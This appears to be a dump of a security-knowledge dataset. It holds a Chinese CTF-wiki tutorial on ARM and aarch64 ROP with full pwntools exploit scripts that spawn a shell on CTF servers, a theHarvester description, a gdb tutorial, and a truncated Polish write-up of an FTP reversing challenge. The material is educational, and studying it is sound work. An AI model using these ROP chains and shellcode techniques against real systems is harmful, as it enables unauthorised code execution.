text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# Arm ROP
## 介绍
因为目前为止，arm， mips 等架构出现的 pwn 还是较简单的栈漏洞，因此目前只打算介绍 arm 下的 rop，其他漏洞的利用以后会逐渐介绍
## 预备知识
先看一下 arm 下的函数调用约定，函数的第 1 ～ 4 个参数分别保存在 **r0 ～ r3** 寄存器中， 剩下的参数从右向左依次入栈， 被调用者实现栈平衡，函数的返回值保存在 **r0** 中
除此之外，arm 的 **b/bl** 等指令实现跳转; **pc** 寄存器相当于 x86 的 eip，保存下一条指令的地址，也是我们要控制的目标
## jarvisoj - typo
这里以 jarvisoj 的 typo 一题为例进行展示，题目可以在 [ctf-challenge](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/arm/jarvisOJ_typo) 下载
### 确定保护
```bash
jarvisOJ_typo [master●●] check ./typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
[*] '/home/m4x/pwn_repo/jarvisOJ_typo/typo'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
```
静态链接的程序，没有开栈溢出保护和 PIE; 静态链接说明我们可以在 binary 里找到 **system** 等危险函数和 **"/bin/sh"** 等敏感字符串，因为又是 No PIE， 所以我们只需要栈溢出就能构造 ropchain 来 get shell
### 利用思路
因此需要我们找一个溢出点，先运行一下程序，因为是静态链接的，所以在环境配置好的情况下直接运行即可
```bash
jarvisOJ_typo [master●●] ./typo
Let's Do Some Typing Exercise~
Press Enter to get start;
Input ~ if you want to quit
------Begin------
throng
throng
survive
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1] 1172 segmentation fault ./typo
```
程序的输入点不多，很容易就能找到溢出点
### 构造 ROP
因此思路就很明显了，利用栈溢出构造 **system("/bin/sh")**， 先找一下 gadgets
```bash
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop"
Gadgets information
============================================================
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00008160 : pop {r3, pc}
0x0000ab0c : pop {r3, r4, r5, pc}
0x0000a958 : pop {r3, r4, r5, r6, r7, pc}
0x00014a70 : pop {r3, r4, r7, pc}
0x000083b0 : pop {r4, pc}
0x00009284 : pop {r4, r5, pc}
0x000095b8 : pop {r4, r5, r6, pc}
0x000082e8 : pop {r4, r5, r6, r7, pc}
0x00023ed4 : pop {r4, r5, r7, pc}
0x00023dbc : pop {r4, r7, pc}
0x00014068 : pop {r7, pc}
Unique gadgets found: 13
```
我们只需要控制第一个参数，因此可以选择 `pop {r0, r4, pc}` 这条 gadgets, 来构造如下的栈结构
```
+-------------+
| |
| padding |
+-------------+
| padding | <- frame pointer
+-------------+
|gadgets_addr | <- return address
+-------------+
|binsh_addr |
+-------------+
|junk_data |
+-------------+
|system_addr |
+-------------+
```
这时还需要 padding 的长度和 system 以及 /bin/sh 的地址， /bin/sh 的地址用 ROPgadget 就可以找到
```bash
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh
Strings information
============================================================
0x0006cb70 : /bin/sh
```
padding 的长度可以使用 pwntools 的 **cyclic** 来很方便的找到
```assembly
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
R0 0x0
R1 0xfffef024 ◂— 0x61616161 ('aaaa')
R2 0x7e
R3 0x0
R4 0x62616162 ('baab')
R5 0x0
R6 0x0
R7 0x0
R8 0x0
R9 0xa5ec ◂— push {r3, r4, r5, r6, r7, r8, sb, lr}
R10 0xa68c ◂— push {r3, r4, r5, lr}
R11 0x62616163 ('caab')
R12 0x0
SP 0xfffef098 ◂— 0x62616165 ('eaab')
PC 0x62616164 ('daab')
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
Invalid address 0x62616164
────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ sp 0xfffef098 ◂— 0x62616165 ('eaab')
01:0004│ 0xfffef09c ◂— 0x62616166 ('faab')
02:0008│ 0xfffef0a0 ◂— 0x62616167 ('gaab')
03:000c│ 0xfffef0a4 ◂— 0x62616168 ('haab')
04:0010│ 0xfffef0a8 ◂— 0x62616169 ('iaab')
05:0014│ 0xfffef0ac ◂— 0x6261616a ('jaab')
06:0018│ 0xfffef0b0 ◂— 0x6261616b ('kaab')
07:001c│ 0xfffef0b4 ◂— 0x6261616c ('laab')
Program received signal SIGSEGV
pwndbg> cyclic -l 0x62616164
112
```
因此 padding 长度即为 112
> 或者可以更暴力一点直接爆破栈溢出的长度
至于 system 的地址，因为这个 binary 被去除了符号表，我们可以先用 `rizzo` 来恢复部分符号表（关于恢复符号表暂时可以先看参考链接，以后会逐渐介绍）。虽然 rizzo 在这个 binary 上恢复的效果不好，但很幸运，在识别出来的几个函数中刚好有 system
```C
char *__fastcall system(int a1)
{
char *result; // r0
if ( a1 )
result = sub_10BA8(a1);
else
result = (char *)(sub_10BA8((int)"exit 0") == 0);
return result;
}
```
> 或者可以通过搜索 /bin/sh 字符串来寻找 system 函数
## exp
所有的条件都有了，构造 system("/bin/sh") 即可
```
jarvisOJ_typo [master●●] cat solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import pdb
# context.log_level = "debug"
# for i in range(100, 150)[::-1]:
for i in range(112, 123):
if sys.argv[1] == "l":
io = process("./typo", timeout = 2)
elif sys.argv[1] == "d":
io = process(["qemu-arm", "-g", "1234", "./typo"])
else:
io = remote("pwn2.jarvisoj.com", 9888, timeout = 2)
io.sendafter("quit\n", "\n")
io.recvline()
'''
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --string /bin/sh
Strings information
============================================================
0x0006c384 : /bin/sh
jarvisOJ_typo [master●●] ROPgadget --binary ./typo --only "pop|ret" | grep r0
0x00020904 : pop {r0, r4, pc}
'''
payload = 'a' * i + p32(0x20904) + p32(0x6c384) * 2 + p32(0x110B4)
success(i)
io.sendlineafter("\n", payload)
# pause()
try:
# pdb.set_trace()
io.sendline("echo aaaa")
io.recvuntil("aaaa", timeout = 1)
except EOFError:
io.close()
continue
else:
io.interactive()
```
## 2018 上海市大学生网络安全大赛 - baby_arm
### 静态分析
题目给了一个 `aarch64` 架构的文件，没有开 canary 保护
```bash
Shanghai2018_baby_arm [master] check ./pwn
+ file ./pwn
./pwn: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped
+ checksec ./pwn
[*] '/home/m4x/pwn_repo/Shanghai2018_baby_arm/pwn'
Arch: aarch64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
看一下程序逻辑
```C
__int64 main_logic()
{
Init();
write(1LL, "Name:", 5LL);
read(0LL, input, 512LL);
sub_4007F0();
return 0LL;
}
void sub_4007F0()
{
__int64 v0; // [xsp+10h] [xbp+10h]
read(0LL, &v0, 512LL);
}
```
程序的主干读取了 512 个字符到一个全局变量上，而在 `sub_4007F0()` 中，又读取了 512 个字节到栈上，需要注意的是这里直接从 `frame pointer + 0x10` 开始读取，因此即使开了 canary 保护也无所谓。
### 思路
理一下思路，可以直接 rop，但我们不知道远程的 libc 版本，同时也发现程序中有调用 `mprotect` 的代码段
```assembly
.text:00000000004007C8 STP X29, X30, [SP,#-0x10]!
.text:00000000004007CC MOV X29, SP
.text:00000000004007D0 MOV W2, #0
.text:00000000004007D4 MOV X1, #0x1000
.text:00000000004007D8 MOV X0, #0x1000
.text:00000000004007DC MOVK X0, #0x41,LSL#16
.text:00000000004007E0 BL .mprotect
.text:00000000004007E4 NOP
.text:00000000004007E8 LDP X29, X30, [SP],#0x10
.text:00000000004007EC RET
```
但这段代码把 `mprotect` 的权限位设成了 0，没有可执行权限，这就需要我们通过 rop 控制 `mprotect` 设置如 bss 段等的权限为可写可执行
因此可以有如下思路：
1. 第一次输入 name 时，在 bss 段写上 shellcode
2. 通过 rop 调用 mprotect 改变 bss 的权限
3. 返回到 bss 上的 shellcode
`mprotect` 需要控制三个参数，可以考虑使用 [ret2csu](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium_rop/#ret2csu) 这种方法，可以找到如下的 gadgets 来控制 `x0, x1, x2` 寄存器
```assembly
.text:00000000004008AC LDR X3, [X21,X19,LSL#3]
.text:00000000004008B0 MOV X2, X22
.text:00000000004008B4 MOV X1, X23
.text:00000000004008B8 MOV W0, W24
.text:00000000004008BC ADD X19, X19, #1
.text:00000000004008C0 BLR X3
.text:00000000004008C4 CMP X19, X20
.text:00000000004008C8 B.NE loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#var_s10]
.text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
.text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
.text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC RET
```
最终的 [exp](https://github.com/bash-c/pwn_repo/blob/master/Shanghai2018_baby_arm/solve.py) 如下：
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
context.binary = "./pwn"
context.log_level = "debug"
if sys.argv[1] == "l":
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
elif sys.argv[1] == "d":
io = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
else:
io = remote("106.75.126.171", 33865)
def csu_rop(call, x0, x1, x2):
payload = flat(0x4008CC, '00000000', 0x4008ac, 0, 1, call)
payload += flat(x2, x1, x0)
payload += '22222222'
return payload
if __name__ == "__main__":
elf = ELF("./pwn", checksec = False)
padding = asm('mov x0, x0')
sc = asm(shellcraft.execve("/bin/sh"))
# print disasm(padding * 0x10 + sc)
io.sendafter("Name:", padding * 0x10 + sc)
sleep(0.01)
# io.send(cyclic(length = 500, n = 8))
# rop = flat()
payload = flat(cyclic(72), csu_rop(elf.got['read'], 0, elf.got['__gmon_start__'], 8))
payload += flat(0x400824)
io.send(payload)
sleep(0.01)
io.send(flat(elf.plt['mprotect']))
sleep(0.01)
raw_input("DEBUG: ")
io.sendafter("Name:", padding * 0x10 + sc)
sleep(0.01)
payload = flat(cyclic(72), csu_rop(elf.got['__gmon_start__'], 0x411000, 0x1000, 7))
payload += flat(0x411068)
sleep(0.01)
io.send(payload)
io.interactive()
```
### notice
同时需要注意的是，`checksec` 检测的结果是开了 nx 保护，但这样检测的结果不一定准确，因为程序的 nx 保护也可以通过 qemu 启动时的参数 `-nx` 来决定（比如这道题目就可以通过远程失败时的报错发现程序开了 nx 保护），老版的 qemu 可能没有这个参数。
```bash
Desktop ./qemu-aarch64 --version
qemu-aarch64 version 2.7.0, Copyright (c) 2003-2016 Fabrice Bellard and the QEMU Project developers
Desktop ./qemu-aarch64 -h| grep nx
-nx QEMU_NX enable NX implementation
```
如果有如下的报错，说明没有 aarch64 的汇编器
```bash
[ERROR] Could not find 'as' installed for ContextType(arch = 'aarch64', binary = ELF('/home/m4x/Projects/ctf-challenges/pwn/arm/Shanghai2018_baby_arm/pwn'), bits = 64, endian = 'little', log_level = 10)
Try installing binutils for this architecture:
https://docs.pwntools.com/en/stable/install/binutils.html
```
可以参考官方文档的解决方案
```bash
Shanghai2018_baby_arm [master●] apt search binutils| grep aarch64
p binutils-aarch64-linux-gnu - GNU binary utilities, for aarch64-linux-gnu target
p binutils-aarch64-linux-gnu:i386 - GNU binary utilities, for aarch64-linux-gnu target
p binutils-aarch64-linux-gnu-dbg - GNU binary utilities, for aarch64-linux-gnu target (debug symbols)
p binutils-aarch64-linux-gnu-dbg:i386 - GNU binary utilities, for aarch64-linux-gnu target (debug symbols)
Shanghai2018_baby_arm [master●] sudo apt install bintuils-aarch64-linux-gnu
```
> aarch64 的文件在装 libc 时是 `arm64`，在装 `binutils` 时是 `aarch64`
## 例题
Codegate2015 - melong
## 参考文献
http://www.freebuf.com/articles/terminal/134980.html
|
sec-knowleage
|
# theHarvester软件包描述
该程序的目标是收集来自于不同公开资源，如搜索引擎、PGP密钥服务器、SHODAN计算机数据库等的电子邮件、子域名、主机、员工姓名、开放端口和旗标信息。
旨在帮助渗透测试人员在渗透测试的早期阶段，了解客户在互联网上的足迹。这对任何想知道攻击者能看到自己组织是什么情况的人也是有用的。
这是一个完全重写的工具，引入了新的功能，如：
- 请求时间延迟
- 所有来源搜索
- 虚拟主机验证
- 活动枚举（DNS枚举、反向查找、TLD扩展）
- 集成SHODAN计算机数据库，获取开放端口和旗标信息
- 保存为XML和HTML
- 基础统计图
- 新的信息来源
资料来源：https://code.google.com/p/theharvester/
[theHarvester主页](https://code.google.com/p/theharvester/) | [Kali theHarvester资源](http://git.kali.org/gitweb/?p=packages/theharvester.git;a=summary)
- 作者：Christian Martorella
- 许可证：GPLv2
## theHarvester包含的工具
### theharvester - 从公开来源收集电子邮件帐户和子域名的工具
```
root@kali:~# theharvester
*******************************************************************
* *
* | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
* | __| '_ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
* *
* TheHarvester Ver. 2.2a *
* Coded by Christian Martorella *
* Edge-Security Research *
* cmartorella@edge-security.com *
*******************************************************************
用法：theharvester 选项
-d：搜索的域或公司名称
-b：数据来源（google、bing、bingapi、pgp、linkedin、google-profiles、baidu、jigsaw、all）
-s：结果编号从X开始（默认为0）
-v：通过dns解析验证主机名，并搜索虚拟主机
-f：将结果保存到HTML和XML文件中
-n：对所有发现的地址范围进行DNS反向查询
-c：对域名执行DNS强力解析
-t：执行DNS TLD扩展发现
-e：指定DNS服务器
-l：限制结果数量（pgp不使用此选项）
-h：使用SHODAN数据库查询已发现的主机
例子: theharvester -d microsoft.com -l 500 -b google
theharvester -d microsoft.com -b pgp
theharvester -d microsoft -l 200 -b linkedin
```
## theharvester使用示例
从域（-d kali.org）搜索电子邮件地址，使用Google（-b google）将结果限制为500（-l 500）：
```
root@kali:~# theharvester -d kali.org -l 500 -b google
*******************************************************************
* *
* | |_| |__ ___ /\ /\__ _ _ ____ _____ ___| |_ ___ _ __ *
* | __| '_ \ / _ \ / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | | __/ / __ / (_| | | \ V / __/\__ \ || __/ | *
* \__|_| |_|\___| \/ /_/ \__,_|_| \_/ \___||___/\__\___|_| *
* *
* TheHarvester Ver. 2.2a *
* Coded by Christian Martorella *
* Edge-Security Research *
* cmartorella@edge-security.com *
*******************************************************************
[-] Searching in Google:
Searching 0 results...
Searching 100 results...
Searching 200 results...
Searching 300 results...
Searching 400 results...
Searching 500 results...
```
原文链接：[http://tools.kali.org/information-gathering/theharvester](http://tools.kali.org/information-gathering/theharvester)
|
sec-knowleage
|
gdb
===
功能强大的程序调试器
## 补充说明
**gdb命令** 包含在GNU的gcc开发套件中，是功能强大的程序调试器。GDB中的命令固然很多，但我们只需掌握其中十个左右的命令，就大致可以完成日常的基本的程序调试工作。
### 语法
```shell
gdb(选项)(参数)
```
### 选项
```shell
-cd：设置工作目录；
-q：安静模式，不打印介绍信息和版本信息；
-d：添加文件查找路径；
-x：从指定文件中执行GDB指令；
-s：设置读取的符号表文件。
```
命令 | 解释 | 示例
--- | --- | ---
file <文件名> | 加载被调试的可执行程序文件。<br /> 因为一般都在被调试程序所在目录下执行GDB，因而文本名不需要带路径。 | (gdb) file gdb-sample
r | Run的简写，运行被调试的程序。<br /> 如果此前没有下过断点，则执行完整个程序；如果有断点，则程序暂停在第一个可用断点处。 | (gdb) r
c | Continue的简写，继续执行被调试程序，直至下一个断点或程序结束。 | (gdb) c
b <行号><br />b <函数名称><br />b *<函数名称><br />b *<代码地址> d [编号] | b: Breakpoint的简写，设置断点。两可以使用“行号”“函数名称”“执行地址”等方式指定断点位置。 <br /> 其中在函数名称前面加“*”符号表示将断点设置在“由编译器生成的prolog代码处”。如果不了解汇编，可以不予理会此用法。 d: Delete breakpoint的简写，删除指定编号的某个断点，或删除所有断点。断点编号从1开始递增。 | (gdb) b 8(gdb) b main <br /> (gdb) b *main <br /> (gdb) b *0x804835c (gdb) d
s, n | s: 执行一行源程序代码，如果此行代码中有函数调用，则进入该函数；<br /> n: 执行一行源程序代码，此行代码中的函数调用也一并执行。 s 相当于其它调试器中的“Step Into (单步跟踪进入)”；<br /> n 相当于其它调试器中的“Step Over (单步跟踪)”。 这两个命令必须在有源代码调试信息的情况下才可以使用（GCC编译时使用“-g”参数）。 | (gdb) s <br /> (gdb) n
si, ni | si命令类似于s命令，ni命令类似于n命令。所不同的是，这两个命令（si/ni）所针对的是汇编指令，而s/n针对的是源代码。 | (gdb) si <br />(gdb) ni
p <变量名称> | Print的简写，显示指定变量（临时变量或全局变量）的值。 | (gdb) p i <br /> (gdb) p nGlobalVar
display ... undisplay <编号> | display，设置程序中断后欲显示的数据及其格式。 <br /> 例如，如果希望每次程序中断后可以看到即将被执行的下一条汇编指令，可以使用命令 <br /> “display /i $pc” <br /> 其中 $pc 代表当前汇编指令，/i 表示以十六进行显示。当需要关心汇编代码时，此命令相当有用。 undispaly，取消先前的display设置，编号从1开始递增。 | (gdb) display /i $pc (gdb) undisplay 1
i | info的简写，用于显示各类信息，详情请查阅“help i”。 | (gdb) i r
q | Quit的简写，退出GDB调试环境。 | (gdb) q
help [命令名称] | GDB帮助命令，提供对GDB名种命令的解释说明。<br /> 如果指定了“命令名称”参数，则显示该命令的详细说明；如果没有指定参数，则分类显示所有GDB命令，供用户进一步浏览和查询。 | (gdb) help
### 参数
文件：二进制可执行程序。
### 实例
以下是linux下dgb调试的一个实例，先给出一个示例用的小程序，C语言代码：
```shell
#include <stdio.h>
int nGlobalVar = 0;
int tempFunction(int a, int b)
{
printf("tempFunction is called, a = %d, b = %d /n", a, b);
return (a + b);
}
int main()
{
int n;
n = 1;
n++;
n--;
nGlobalVar += 100;
nGlobalVar -= 12;
printf("n = %d, nGlobalVar = %d /n", n, nGlobalVar);
n = tempFunction(1, 2);
printf("n = %d", n);
return 0;
}
```
请将此代码复制出来并保存到文件 gdb-sample.c 中，然后切换到此文件所在目录，用GCC编译之：
```shell
gcc gdb-sample.c -o gdb-sample -g
```
在上面的命令行中，使用 -o 参数指定了编译生成的可执行文件名为 gdb-sample，使用参数 -g 表示将源代码信息编译到可执行文件中。如果不使用参数 -g，会给后面的GDB调试造成不便。当然，如果我们没有程序的源代码，自然也无从使用 -g 参数，调试/跟踪时也只能是汇编代码级别的调试/跟踪。
下面“gdb”命令启动GDB，将首先显示GDB说明，不管它：
```shell
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu".
(gdb)
```
上面最后一行“(gdb)”为GDB内部命令引导符，等待用户输入GDB命令。
下面使用“file”命令载入被调试程序 gdb-sample（这里的 gdb-sample 即前面 GCC 编译输出的可执行文件）：
```shell
(gdb) file gdb-sample
Reading symbols from gdb-sample...done.
```
上面最后一行提示已经加载成功。
下面使用“r”命令执行（Run）被调试文件，因为尚未设置任何断点，将直接执行到程序结束：
```shell
(gdb) r
Starting program: /home/liigo/temp/test_jmp/test_jmp/gdb-sample
n = 1, nGlobalVar = 88
tempFunction is called, a = 1, b = 2
n = 3
Program exited normally.
```
下面使用“b”命令在 main 函数开头设置一个断点（Breakpoint）：
```shell
(gdb) b main
Breakpoint 1 at 0x804835c: file gdb-sample.c, line 19.
```
上面最后一行提示已经成功设置断点，并给出了该断点信息：在源文件 gdb-sample.c 第19行处设置断点；这是本程序的第一个断点（序号为1）；断点处的代码地址为 0x804835c（此值可能仅在本次调试过程中有效）。回过头去看源代码，第19行中的代码为“n = 1”，恰好是 main 函数中的第一个可执行语句（前面的“int n;”为变量定义语句，并非可执行语句）。
再次使用“r”命令执行（Run）被调试程序：
```shell
(gdb) r
Starting program: /home/liigo/temp/gdb-sample
Breakpoint 1, main () at gdb-sample.c:19
19 n = 1;
```
程序中断在gdb-sample.c第19行处，即main函数是第一个可执行语句处。
上面最后一行信息为：下一条将要执行的源代码为“n = 1;”，它是源代码文件gdb-sample.c中的第19行。
下面使用“s”命令（Step）执行下一行代码（即第19行“n = 1;”）：
```shell
(gdb) s
20 n++;
```
上面的信息表示已经执行完“n = 1;”，并显示下一条要执行的代码为第20行的“n++;”。
既然已经执行了“n = 1;”，即给变量 n 赋值为 1，那我们用“p”命令（Print）看一下变量 n 的值是不是 1 ：
```shell
(gdb) p n
$1 = 1
```
果然是 1。（$1大致是表示这是第一次使用“p”命令——再次执行“p n”将显示“$2 = 1”——此信息应该没有什么用处。）
下面我们分别在第26行、tempFunction 函数开头各设置一个断点（分别使用命令“b 26”“b tempFunction”）：
```shell
(gdb) b 26
Breakpoint 2 at 0x804837b: file gdb-sample.c, line 26.
(gdb) b tempFunction
Breakpoint 3 at 0x804832e: file gdb-sample.c, line 12.
```
使用“c”命令继续（Continue）执行被调试程序，程序将中断在第二 个断点（26行），此时全局变量 nGlobalVar 的值应该是 88；再一次执行“c”命令，程序将中断于第三个断点（12行，tempFunction 函数开头处），此时tempFunction 函数的两个参数 a、b 的值应分别是 1 和 2：
```shell
(gdb) c
Continuing.
Breakpoint 2, main () at gdb-sample.c:26
26 printf("n = %d, nGlobalVar = %d /n", n, nGlobalVar);
(gdb) p nGlobalVar
$2 = 88
(gdb) c
Continuing.
n = 1, nGlobalVar = 88
Breakpoint 3, tempFunction (a=1, b=2) at gdb-sample.c:12
12 printf("tempFunction is called, a = %d, b = %d /n", a, b);
(gdb) p a
$3 = 1
(gdb) p b
$4 = 2
```
上面反馈的信息一切都在我们预料之中~~
再一次执行“c”命令（Continue），因为后面再也没有其它断点，程序将一直执行到结束：
```shell
(gdb) c
Continuing.
tempFunction is called, a = 1, b = 2
n = 3
Program exited normally.
```
有时候需要看到编译器生成的汇编代码，以进行汇编级的调试或跟踪，又该如何操作呢？
这就要用到display命令“display /i $pc”了（此命令前面已有详细解释）：
```shell
(gdb) display /i $pc
(gdb)
```
此后程序再中断时，就可以显示出汇编代码了：
```shell
(gdb) r
Starting program: /home/liigo/temp/test_jmp/test_jmp/gdb-sample
Breakpoint 1, main () at gdb-sample.c:19
19 n = 1;
1: x/i $pc 0x804835c <main+16>: movl $0x1,0xfffffffc(%ebp)
```
看到了汇编代码，“n = 1;”对应的汇编代码是“movl $0x1,0xfffffffc(%ebp)”。
并且以后程序每次中断都将显示下一条汇编指定（“si”命令用于执行一条汇编代码——区别于“s”执行一行C代码）：
```shell
(gdb) si
20 n++;
1: x/i $pc 0x8048363 <main+23>: lea 0xfffffffc(%ebp),%eax
(gdb) si
0x08048366 20 n++;
1: x/i $pc 0x8048366 <main+26>: incl (%eax)
(gdb) si
21 n--;
1: x/i $pc 0x8048368 <main+28>: lea 0xfffffffc(%ebp),%eax
(gdb) si
0x0804836b 21 n--;
1: x/i $pc 0x804836b <main+31>: decl (%eax)
(gdb) si
23 nGlobalVar += 100;
1: x/i $pc 0x804836d <main+33>: addl $0x64,0x80494fc
```
接下来我们试一下命令“b *<函数名称>”。
为了更简明，有必要先删除目前所有断点（使用“d”命令——Delete breakpoint）：
```shell
(gdb) d
Delete all breakpoints? (y or n) y
(gdb)
```
当被询问是否删除所有断点时，输入“y”并按回车键即可。
下面使用命令“b *main”在 main 函数的 prolog 代码处设置断点（prolog、epilog，分别表示编译器在每个函数的开头和结尾自行插入的代码）：
```shell
(gdb) b *main
Breakpoint 4 at 0x804834c: file gdb-sample.c, line 17.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/liigo/temp/test_jmp/test_jmp/gdb-sample
Breakpoint 4, main () at gdb-sample.c:17
17 {
1: x/i $pc 0x804834c <main>: push %ebp
(gdb) si
0x0804834d 17 {
1: x/i $pc 0x804834d <main+1>: mov %esp,%ebp
(gdb) si
0x0804834f in main () at gdb-sample.c:17
17 {
1: x/i $pc 0x804834f <main+3>: sub $0x8,%esp
(gdb) si
0x08048352 17 {
1: x/i $pc 0x8048352 <main+6>: and $0xfffffff0,%esp
(gdb) si
0x08048355 17 {
1: x/i $pc 0x8048355 <main+9>: mov $0x0,%eax
(gdb) si
0x0804835a 17 {
1: x/i $pc 0x804835a <main+14>: sub %eax,%esp
(gdb) si
19 n = 1;
1: x/i $pc 0x804835c <main+16>: movl $0x1,0xfffffffc(%ebp)
```
此时可以使用“i r”命令显示寄存器中的当前值———“i r”即“Infomation Register”：
```shell
(gdb) i r
eax 0xbffff6a4 -1073744220
ecx 0x42015554 1107383636
edx 0x40016bc8 1073834952
ebx 0x42130a14 1108544020
esp 0xbffff6a0 0xbffff6a0
ebp 0xbffff6a8 0xbffff6a8
esi 0x40015360 1073828704
edi 0x80483f0 134513648
eip 0x8048366 0x8048366
eflags 0x386 902
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x33 51
```
当然也可以显示任意一个指定的寄存器值：
```shell
(gdb) i r eax
eax 0xbffff6a4 -1073744220
```
最后一个要介绍的命令是“q”，退出（Quit）GDB调试环境：
```shell
(gdb) q
The program is running. exit anyway? (y or n)
```
## 补充内容
> gdb 教程：[慕课网-Linux C语言指针与内存-第三章](http://www.imooc.com/learn/394)
如果删除源代码, 就无法显示行号等辅助信息了
```shell
gcc -g gdb.c -o gdb.out # -g 支持gdb调试; -o 输出, 默认为 a.out
gdb gdb.out # 进入 gdb 调试环境
enter # 继续执行上条命令
l # 列出源代码, 默认 10 行, 按 l 继续
start # 开始单步调试, 默认 main() 第一行
p a # 查看 a 变量的值
n # 继续到下一行
s # 进入子函数
bt # 查看函数栈
f 1 # 切换函数栈
q 退出调试
```
测试用代码
```c
#include <stdio.h>
void change(int a, int b){
int tmp=a;
a=b; b=tmp;
}
void change2(int *a, int *b){
int tmp=*a;
*a=*b; *b=tmp;
}
int main(){
int a=5,b=3;
change(a,b);
printf("change:\na=%d\nb=%d\n", a,b);
change2(&a,&b);
printf("change2:\na=%d\nb=%d\n", a,b);
}
```
|
sec-knowleage
|
## FTP (re, 300p, 214 solves)
> We found an ftp service, I'm sure there's some way to log on to it.
>
> nc 54.172.10.117 12012
> [ftp_0319deb1c1c033af28613c57da686aa7](ftp)
### PL Version
`for ENG version scroll down`
Pobieramy zalinkowany plik i ładujemy do IDY. Jest to faktycznie, zgodnie z opisem, serwer FTP.
W stringach znajdujących się w binarce znajdujemy napis zawierający wszystkie komendy wspierane przez serwer (w helpie):
> USER PASS PASV PORT
> NOOP REIN LIST SYST SIZE
> RETR STOR PWD CWD
Przeglądamy chwilę funkcje znajdujące się w binarce, i najciekawsza wydaje sie ta odpowiadająca "nieudokumentowanej" funkcji RDF:
mov [rbp+ptr], rax
mov esi, offset aR ; "r"
mov edi, offset filename ; "re_solution.txt"
call _fopen
; (...)
mov rdx, [rbp+stream]
mov rax, [rbp+ptr]
mov rcx, rdx ; stream
mov edx, 1 ; n
mov esi, 28h ; size
mov rdi, rax ; ptr
call _fread
mov rax, [rbp+var_18]
mov eax, [rax]
mov rdx, [rbp+ptr]
mov rsi, rdx
mov edi, eax
call send_string_to_client
Niestety, wywołanie tej funkcji wymaga autentykacji do systemu. Patrzymy więc na funkcje odpowiadającą za zalogowanie.
Wygląda ona mniej więcej tak (po ręcznym przepisaniu do C)
unsigned hash(char *txt)
{
int v = 5381;
for (int i = 0; txt[i]; ++i )
v = 33 * v + txt[i];
return (unsigned)v;
}
bool login_ok(char *username, char *password) {
return strcmp(username, "blankwall") == 0 && hash(password) == 3548828169;
}
(A przynajmniej to ważne fragmenty z tej funkcji, samo wczytywanie i wysyłanie tekstu do klienta pominęliśmy).
Funkcja hashująca jest jak widać bardzo prosta, więc można było spróbować ją złamać. I nie byłoby to bardzo trudne, ale poszliśmy prostszą drogą - zauważyliśmy że jest "monotoniczna" (czyli każdy kolejny znak w haśle ma coraz mniejszy wpływ na wynik hasha, czyli możemy zgadywać hasło znak po znaku). Napisaliśmy do tego narzędzie:
int main(int argc, char *argv[]) {
char c[1000];
puts("3548828169");
unsigned rzecz = rzeczy(argv[1]);
printf("%u\n", rzecz);
if (rzecz > 3548828169) {
puts("2much");
} else if (rzecz < 3548828169) {
puts("2low");
} else {
puts("just enough");
}
}
